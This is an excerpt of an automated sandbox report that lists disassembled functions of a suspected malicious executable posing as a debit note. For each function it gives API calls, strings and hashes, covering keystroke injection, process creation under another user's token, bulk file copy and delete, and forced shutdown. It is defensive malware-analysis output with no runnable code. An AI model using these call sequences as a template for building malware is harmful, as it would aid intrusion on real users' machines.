                                          • ClientToScreen.USER32(?,?), ref: 0047CEEE
                                          • TrackPopupMenuEx.USER32(?,00000000,?,?,030C1B90,00000000,?,?,?,?), ref: 0047CF1C
                                          • SendMessageW.USER32(?,00001111,00000000,?), ref: 0047CF46
                                          • SendMessageW.USER32 ref: 0047CF6B
                                          • ClientToScreen.USER32(?,?), ref: 0047CFB5
                                          • TrackPopupMenuEx.USER32(?,00000080,?,?,030C1B90,00000000,?,?,?,?), ref: 0047CFE6
                                          • GetWindowLongW.USER32(?,000000F0), ref: 0047D086
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: MessageSend$ClientScreen$Image$CursorDragList_State$CaptureLongMenuPopupTrackWindow$BeginEnterInvalidateParentProcRectRelease_wcsncpy
                                          • String ID: @GUI_DRAGID$F
                                          • API String ID: 3100379633-4164748364
                                          • Opcode ID: 2b9e17ba3223fb7b4804536e302a42d427f78481ee09a8534aafb1e4469c1a6d
                                          • Instruction ID: 980357f173c9be8e312ccaa606797ee7157b6525bda81ee0817efdfc4c954517
                                          • Opcode Fuzzy Hash: 2b9e17ba3223fb7b4804536e302a42d427f78481ee09a8534aafb1e4469c1a6d
                                          • Instruction Fuzzy Hash: F842AD706043419FD714DF28C884FABB7A5FF89700F14865EFA489B291C7B8E846CB5A
                                          Function 00434418 Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 133keyboardthreadwindowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetForegroundWindow.USER32 ref: 00434420
                                          • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00434446
                                          • IsIconic.USER32(?), ref: 0043444F
                                          • ShowWindow.USER32(?,00000009), ref: 0043445C
                                          • SetForegroundWindow.USER32(?), ref: 0043446A
                                          • GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00434481
                                          • GetCurrentThreadId.KERNEL32 ref: 00434485
                                          • GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00434493
                                          • AttachThreadInput.USER32(00000000,00000000,00000001), ref: 004344A2
                                          • AttachThreadInput.USER32(00000000,00000000,00000001), ref: 004344A8
                                          • AttachThreadInput.USER32(00000000,?,00000001), ref: 004344B1
                                          • SetForegroundWindow.USER32(00000000), ref: 004344B7
                                          • MapVirtualKeyW.USER32(00000012,00000000), ref: 004344C6
                                          • keybd_event.USER32(00000012,00000000), ref: 004344CF
                                          • MapVirtualKeyW.USER32(00000012,00000000), ref: 004344DD
                                          • keybd_event.USER32(00000012,00000000), ref: 004344E6
                                          • MapVirtualKeyW.USER32(00000012,00000000), ref: 004344F4
                                          • keybd_event.USER32(00000012,00000000), ref: 004344FD
                                          • MapVirtualKeyW.USER32(00000012,00000000), ref: 0043450B
                                          • keybd_event.USER32(00000012,00000000), ref: 00434514
                                          • SetForegroundWindow.USER32(00000000), ref: 0043451E
                                          • AttachThreadInput.USER32(00000000,?,00000000), ref: 0043453F
                                          • AttachThreadInput.USER32(00000000,00000000,00000000), ref: 00434545
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: ThreadWindow$AttachInput$ForegroundVirtualkeybd_event$Process$CurrentFindIconicShow
                                          • String ID: Shell_TrayWnd
                                          • API String ID: 2889586943-2988720461
                                          • Opcode ID: 8fb90041bee2e10260771149cd23f534c9f7767a381d567acbe6a88cba9e6a8e
                                          • Instruction ID: 0b42b206f44700a00bd4aa1610e9651ae8f7722fee000eb3c659fd44b6abead8
                                          • Opcode Fuzzy Hash: 8fb90041bee2e10260771149cd23f534c9f7767a381d567acbe6a88cba9e6a8e
                                          • Instruction Fuzzy Hash: AD416272640218BFE7205BA4DE4AFBE7B6CDB58B11F10442EFA01EA1D0D6F458419BA9
                                          Function 00446313 Relevance: 37.0, APIs: 17, Strings: 4, Instructions: 234processCOMMON
                                          Download Yara Rule
                                          APIs
                                          • DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?), ref: 0044638E
                                          • CloseHandle.KERNEL32(?), ref: 004463A0
                                          • OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 004463B8
                                          • GetProcessWindowStation.USER32 ref: 004463D1
                                          • SetProcessWindowStation.USER32(00000000), ref: 004463DB
                                          • OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 004463F7
                                          • _wcslen.LIBCMT ref: 00446498
                                            • Part of subcall function 004115D7: _malloc.LIBCMT ref: 004115F1
                                          • _wcsncpy.LIBCMT ref: 004464C0
                                          • LoadUserProfileW.USERENV(?,00000020), ref: 004464D9
                                          • CreateEnvironmentBlock.USERENV(?,?,00000000), ref: 004464F3
                                          • CreateProcessAsUserW.ADVAPI32(?,00000000,00000000,00000000,00000000,?,?,?,?,000F01FF,00000400), ref: 00446522
                                          • UnloadUserProfile.USERENV(?,?), ref: 00446555
                                          • CloseWindowStation.USER32(00000000), ref: 0044656C
                                          • CloseDesktop.USER32(?), ref: 0044657A
                                          • SetProcessWindowStation.USER32(?), ref: 00446588
                                          • CloseHandle.KERNEL32(?), ref: 00446592
                                          • DestroyEnvironmentBlock.USERENV(?), ref: 004465A9
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: StationWindow$CloseProcess$User$BlockCreateDesktopEnvironmentHandleOpenProfile$DestroyDuplicateLoadTokenUnload_malloc_wcslen_wcsncpy
                                          • String ID: $@OH$default$winsta0
                                          • API String ID: 3324942560-3791954436
                                          • Opcode ID: 4d1d68c1aea3dabcf030405aafb24e1344eb51be90ba82aa3e7b9bd6ceeac822
                                          • Instruction ID: a255b9755a473e3b45922b0ee48cea4cb67e1360e8ecd59b8ab49ad27cdc7b44
                                          • Opcode Fuzzy Hash: 4d1d68c1aea3dabcf030405aafb24e1344eb51be90ba82aa3e7b9bd6ceeac822
                                          • Instruction Fuzzy Hash: A28180B0A00209ABEF10CFA5DD4AFAF77B8AF49704F05455EF914A7284D778D901CB69
                                          Function 0044BD27 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 178filestringCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00410120: GetFullPathNameW.KERNEL32(00000000,00000104,C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exe,0040F545,C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exe,004A90E8,C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exe,?,0040F545), ref: 0041013C
                                            • Part of subcall function 00433908: __wsplitpath.LIBCMT ref: 0043392E
                                            • Part of subcall function 00433908: __wsplitpath.LIBCMT ref: 00433950
                                            • Part of subcall function 00433908: __wcsicoll.LIBCMT ref: 00433974
                                            • Part of subcall function 00433998: GetFileAttributesW.KERNEL32(?), ref: 0043399F
                                          • _wcscat.LIBCMT ref: 0044BD94
                                          • _wcscat.LIBCMT ref: 0044BDBD
                                          • __wsplitpath.LIBCMT ref: 0044BDEA
                                          • FindFirstFileW.KERNEL32(?,?), ref: 0044BE02
                                          • _wcscpy.LIBCMT ref: 0044BE71
                                          • _wcscat.LIBCMT ref: 0044BE83
                                          • _wcscat.LIBCMT ref: 0044BE95
                                          • lstrcmpiW.KERNEL32(?,?), ref: 0044BEC1
                                          • DeleteFileW.KERNEL32(?), ref: 0044BED3
                                          • MoveFileW.KERNEL32(?,?), ref: 0044BEF3
                                          • CopyFileW.KERNEL32(?,?,00000000), ref: 0044BF0A
                                          • DeleteFileW.KERNEL32(?), ref: 0044BF15
                                          • CopyFileW.KERNEL32(?,?,00000000), ref: 0044BF2C
                                          • FindClose.KERNEL32(00000000), ref: 0044BF33
                                          • MoveFileW.KERNEL32(?,?), ref: 0044BF4F
                                          • FindNextFileW.KERNEL32(00000000,00000010), ref: 0044BF64
                                          • FindClose.KERNEL32(00000000), ref: 0044BF7C
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: File$Find_wcscat$__wsplitpath$CloseCopyDeleteMove$AttributesFirstFullNameNextPath__wcsicoll_wcscpylstrcmpi
                                          • String ID: \*.*
                                          • API String ID: 2188072990-1173974218
                                          • Opcode ID: c24caf0b266a53f5e7acd00b30f5ede1e5d756040c77aa0fe23e7167681731b8
                                          • Instruction ID: 72a2fd59153234373391f972af8bc7e503bf673df65afccb4f4ecee040a4f935
                                          • Opcode Fuzzy Hash: c24caf0b266a53f5e7acd00b30f5ede1e5d756040c77aa0fe23e7167681731b8
                                          • Instruction Fuzzy Hash: E25167B2408384AAD734DB50DC45EDF73E9AFC8304F544E1EF68982141EB75D249CBA6
                                          Function 004788BD Relevance: 28.2, APIs: 13, Strings: 3, Instructions: 217timefileCOMMON
                                          Download Yara Rule
                                          APIs
                                          • FindFirstFileW.KERNEL32(00000000,?,?), ref: 004788E4
                                          • FindClose.KERNEL32(00000000), ref: 00478924
                                          • FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00478949
                                          • FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00478961
                                          • FileTimeToSystemTime.KERNEL32(?,?), ref: 00478989
                                          • __swprintf.LIBCMT ref: 004789D3
                                          • __swprintf.LIBCMT ref: 00478A1D
                                          • __swprintf.LIBCMT ref: 00478A4B
                                          • __swprintf.LIBCMT ref: 00478A79
                                            • Part of subcall function 0041329B: __flsbuf.LIBCMT ref: 00413314
                                            • Part of subcall function 0041329B: __flsbuf.LIBCMT ref: 0041332C
                                          • __swprintf.LIBCMT ref: 00478AA7
                                          • __swprintf.LIBCMT ref: 00478AD5
                                          • __swprintf.LIBCMT ref: 00478B03
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: __swprintf$FileTime$FindLocal__flsbuf$CloseFirstSystem
                                          • String ID: %02d$%4d$%4d%02d%02d%02d%02d%02d
                                          • API String ID: 999945258-2428617273
                                          • Opcode ID: 438ad41bdba169d6dbcdf3912f97c2a8dc3502a0945a742a170651836116907f
                                          • Instruction ID: 8fd0730747e081185947bc4026d2fd3d0a29cbe563c255e8678d3cf3417a7967
                                          • Opcode Fuzzy Hash: 438ad41bdba169d6dbcdf3912f97c2a8dc3502a0945a742a170651836116907f
                                          • Instruction Fuzzy Hash: 32719772204300ABC310EF55CC85FAFB7E9AF88705F504D2FF645962D1E6B9E944875A
                                          Function 004033C0 Relevance: 26.6, APIs: 11, Strings: 4, Instructions: 359COMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00401B10: _wcslen.LIBCMT ref: 00401B11
                                            • Part of subcall function 00401B10: _memmove.LIBCMT ref: 00401B57
                                          • GetCurrentDirectoryW.KERNEL32(00000104,?,?), ref: 00403451
                                          • GetFullPathNameW.KERNEL32(?,00000104,?,?), ref: 00403467
                                          • __wsplitpath.LIBCMT ref: 00403492
                                            • Part of subcall function 00413A0E: __wsplitpath_helper.LIBCMT ref: 00413A50
                                          • _wcscpy.LIBCMT ref: 004034A7
                                          • _wcscat.LIBCMT ref: 004034BC
                                          • SetCurrentDirectoryW.KERNEL32(?), ref: 004034CC
                                            • Part of subcall function 004115D7: _malloc.LIBCMT ref: 004115F1
                                            • Part of subcall function 004115D7: std::exception::exception.LIBCMT ref: 00411626
                                            • Part of subcall function 004115D7: std::exception::exception.LIBCMT ref: 00411640
                                            • Part of subcall function 004115D7: __CxxThrowException@8.LIBCMT ref: 00411651
                                            • Part of subcall function 00403AF0: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,?,?,?,0040355C,?,?,?,00000010), ref: 00403B08
                                            • Part of subcall function 00403AF0: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,?,?,00000010), ref: 00403B41
                                          • _wcscpy.LIBCMT ref: 004035A0
                                          • _wcslen.LIBCMT ref: 00403623
                                          • _wcslen.LIBCMT ref: 0040367D
                                          Strings
                                          • Error opening the file, xrefs: 00428231
                                          • _, xrefs: 0040371C
                                          • Unterminated string, xrefs: 00428348
                                          • #include depth exceeded. Make sure there are no recursive includes, xrefs: 00428200
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: _wcslen$ByteCharCurrentDirectoryMultiWide_wcscpystd::exception::exception$Exception@8FullNamePathThrow__wsplitpath__wsplitpath_helper_malloc_memmove_wcscat
                                          • String ID: #include depth exceeded. Make sure there are no recursive includes$Error opening the file$Unterminated string$_
                                          • API String ID: 3393021363-188983378
                                          • Opcode ID: ce77724faf1e7fbc9fcf9b1a922f2907e035de924d79ec5656a8af7ae9668c55
                                          • Instruction ID: 51a390cb75b153cc6cab8b26b712b327f6f81406d0e69f910df9a3585dc9283e
                                          • Opcode Fuzzy Hash: ce77724faf1e7fbc9fcf9b1a922f2907e035de924d79ec5656a8af7ae9668c55
                                          • Instruction Fuzzy Hash: CCD105B1508341AAD710EF64D841AEFBBE8AF85304F404C2FF98553291DB79DA49C7AB
                                          Function 00431A86 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 139fileCOMMON
                                          Download Yara Rule
                                          APIs
                                          • FindFirstFileW.KERNEL32(?,?), ref: 00431AAA
                                          • GetFileAttributesW.KERNEL32(?), ref: 00431AE7
                                          • SetFileAttributesW.KERNEL32(?,?), ref: 00431AFD
                                          • FindNextFileW.KERNEL32(00000000,?), ref: 00431B0F
                                          • FindClose.KERNEL32(00000000), ref: 00431B20
                                          • FindClose.KERNEL32(00000000), ref: 00431B34
                                          • FindFirstFileW.KERNEL32(*.*,?), ref: 00431B4F
                                          • SetCurrentDirectoryW.KERNEL32(?), ref: 00431B96
                                          • SetCurrentDirectoryW.KERNEL32(0048AB30), ref: 00431BBA
                                          • FindNextFileW.KERNEL32(00000000,00000010), ref: 00431BC2
                                          • FindClose.KERNEL32(00000000), ref: 00431BCD
                                          • FindClose.KERNEL32(00000000), ref: 00431BDB
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Find$File$Close$AttributesCurrentDirectoryFirstNext
                                          • String ID: *.*
                                          • API String ID: 1409584000-438819550
                                          • Opcode ID: 375c8f5163c02f9b34b1ce4408ff1b09f98ffe2d72fc8025119183882b6461df
                                          • Instruction ID: b696eadadcb8a1627fc7fa6feda0e6e57aab690e04623b9265854ab7309d24dd
                                          • Opcode Fuzzy Hash: 375c8f5163c02f9b34b1ce4408ff1b09f98ffe2d72fc8025119183882b6461df
                                          • Instruction Fuzzy Hash: CE41D8726002046BC700EF65DC45EAFB3ACAE89311F04592FF954C3190E7B8E519C7A9
                                          Function 00431BE8 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 116COMMON
                                          Download Yara Rule
                                          APIs
                                          • GetFullPathNameW.KERNEL32(?,00000104,?,?), ref: 00431C09
                                          • __swprintf.LIBCMT ref: 00431C2E
                                          • _wcslen.LIBCMT ref: 00431C3A
                                          • CreateDirectoryW.KERNEL32(?,00000000), ref: 00431C67
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: CreateDirectoryFullNamePath__swprintf_wcslen
                                          • String ID: :$\$\??\%s
                                          • API String ID: 2192556992-3457252023
                                          • Opcode ID: e3674d1d1678aa5b2072ca287ea13c599f7f343b69fea712d52b9408e430d9c0
                                          • Instruction ID: 5b8928ca783b893dacbf0721098a8616f59dd17613a34138e213b27d6ec4c177
                                          • Opcode Fuzzy Hash: e3674d1d1678aa5b2072ca287ea13c599f7f343b69fea712d52b9408e430d9c0
                                          • Instruction Fuzzy Hash: EE413E726403186BD720DB54DC45FDFB3BCFF58710F00859AFA0896191EBB49A548BD8
                                          Function 004720DB Relevance: 21.4, APIs: 11, Strings: 1, Instructions: 377timeCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetLocalTime.KERNEL32(?), ref: 004722A2
                                          • __swprintf.LIBCMT ref: 004722B9
                                          • SHGetFolderPathW.SHELL32(00000000,00000026,00000000,00000000,0048BF68), ref: 004724EC
                                          • SHGetFolderPathW.SHELL32(00000000,0000002B,00000000,00000000,0048BF68), ref: 00472506
                                          • SHGetFolderPathW.SHELL32(00000000,00000005,00000000,00000000,0048BF68), ref: 00472520
                                          • SHGetFolderPathW.SHELL32(00000000,00000023,00000000,00000000,0048BF68), ref: 0047253A
                                          • SHGetFolderPathW.SHELL32(00000000,00000019,00000000,00000000,0048BF68), ref: 00472554
                                          • SHGetFolderPathW.SHELL32(00000000,0000002E,00000000,00000000,0048BF68), ref: 0047256E
                                          • SHGetFolderPathW.SHELL32(00000000,0000001F,00000000,00000000,0048BF68), ref: 00472588
                                          • SHGetFolderPathW.SHELL32(00000000,00000017,00000000,00000000,0048BF68), ref: 004725A2
                                          • SHGetFolderPathW.SHELL32(00000000,00000016,00000000,00000000,0048BF68), ref: 004725BC
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: FolderPath$LocalTime__swprintf
                                          • String ID: %.3d
                                          • API String ID: 3337348382-986655627
                                          • Opcode ID: e729fe0eecd02e77c5ee8deaec4c56456965897f8b2a75efd2bc4ea0d4b88c57
                                          • Instruction ID: 0d137f706e98bab13a4a4c7fcb7914b07bdb7c22a72ec07ab57cd4d47a51df83
                                          • Opcode Fuzzy Hash: e729fe0eecd02e77c5ee8deaec4c56456965897f8b2a75efd2bc4ea0d4b88c57
                                          • Instruction Fuzzy Hash: A6C1EC326101185BD710FBA1DD8AFEE7328EB44701F5045BFF909A60C2DBB99B598F64
                                          Function 00442886 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 135fileCOMMON
                                          Download Yara Rule
                                          APIs
                                          • FindFirstFileW.KERNEL32(?,?), ref: 004428A8
                                          • FindNextFileW.KERNEL32(00000000,?), ref: 0044290B
                                          • FindClose.KERNEL32(00000000), ref: 0044291C
                                          • FindClose.KERNEL32(00000000), ref: 00442930
                                          • FindFirstFileW.KERNEL32(*.*,?), ref: 0044294D
                                          • SetCurrentDirectoryW.KERNEL32(?), ref: 0044299C
                                          • SetCurrentDirectoryW.KERNEL32(0048AB30), ref: 004429BF
                                          • FindNextFileW.KERNEL32(00000000,00000010), ref: 004429C9
                                          • FindClose.KERNEL32(00000000), ref: 004429D4
                                            • Part of subcall function 00433C08: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 00433C2A
                                          • FindClose.KERNEL32(00000000), ref: 004429E2
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Find$File$Close$CurrentDirectoryFirstNext$Create
                                          • String ID: *.*
                                          • API String ID: 2640511053-438819550
                                          • Opcode ID: 8a47bb142582fb369a588aeabde8b58686abdf3d8367fad8d2448c9b03ae91f1
                                          • Instruction ID: 696d482812dd8bff2d9106dd2d2144e175b5fe2258968c3fd44c1969776f6f9a
                                          • Opcode Fuzzy Hash: 8a47bb142582fb369a588aeabde8b58686abdf3d8367fad8d2448c9b03ae91f1
                                          • Instruction Fuzzy Hash: AD410AB2A001186BDB10EBA5ED45FEF73689F89321F50465BFD0493280D6B8DE558BB8
                                          Function 004333BE Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 86shutdownCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetCurrentProcess.KERNEL32(00000028,?), ref: 004333CE
                                          • OpenProcessToken.ADVAPI32(00000000), ref: 004333D5
                                          • LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 004333EA
                                          • AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 0043340E
                                          • GetLastError.KERNEL32 ref: 00433414
                                          • ExitWindowsEx.USER32(?,00000000), ref: 00433437
                                          • InitiateSystemShutdownExW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,?), ref: 00433466
                                          • SetSystemPowerState.KERNEL32(00000001,00000000), ref: 00433479
                                          Strings
                                          Memory Dump Source
